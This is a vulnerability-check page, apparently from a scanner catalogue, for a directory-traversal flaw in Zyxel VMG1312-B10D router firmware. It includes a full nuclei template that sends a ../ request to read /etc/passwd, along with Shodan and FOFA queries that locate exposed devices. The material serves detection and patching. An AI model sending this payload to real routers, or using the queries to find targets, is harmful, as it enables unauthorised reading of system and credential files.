Zyxel VMG1312-B10D 5.13AAXA.8 - Local File Inclusion

highseverity

7.5CVSS score

9.8%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Zyxel VMG1312-B10D 5.13AAXA.8 is susceptible to local file inclusion. A remote unauthenticated attacker can send a specially crafted URL request containing "dot dot" sequences (/../), conduct directory traversal attacks, and view arbitrary files.

Impact

Successful exploitation of this vulnerability allows an attacker to read sensitive files on the target system.

Fix

Apply the latest firmware update provided by Zyxel to fix the Local File Inclusion vulnerability.

How to confirm it

Send: GET {{BaseURL}}/../../../../../../../../../../../../etc/passwd
Positive when: contains in header "application/octet-stream" AND matches /root:.*:0:0:/

Run it with nuclei: nuclei -id CVE-2018-19326 -u <target>

The full check

id: CVE-2018-19326

info:
  name: Zyxel VMG1312-B10D 5.13AAXA.8 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    Zyxel VMG1312-B10D 5.13AAXA.8 is susceptible to local file inclusion. A remote unauthenticated attacker can send a specially crafted URL request containing "dot dot" sequences (/../), conduct directory traversal attacks, and view arbitrary files.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to read sensitive files on the target system.
  remediation: |
    Apply the latest firmware update provided by Zyxel to fix the Local File Inclusion vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/45904
    - https://www.cybersecurity-help.cz/vdb/SB2018120309
    - https://www.zyxel.com/homepage.shtml
    - https://gist.github.com/numanturle/4988b5583e5ebe501059bd368636de33
    - https://nvd.nist.gov/vuln/detail/CVE-2018-19326
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-19326
    cwe-id: CWE-22
    epss-score: 0.09759
    epss-percentile: 0.95568
    cpe: cpe:2.3:o:zyxel:vmg1312-b10d_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zyxel
    product: vmg1312-b10d_firmware
    shodan-query:
      - http.html:"VMG1312-B10D"
      - http.html:"vmg1312-b10d"
    fofa-query: body="vmg1312-b10d"
  tags: cve2018,cve,lfi,modem,router,edb,zyxel,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

References

Use this check only on systems you are authorised to test. Where the data comes from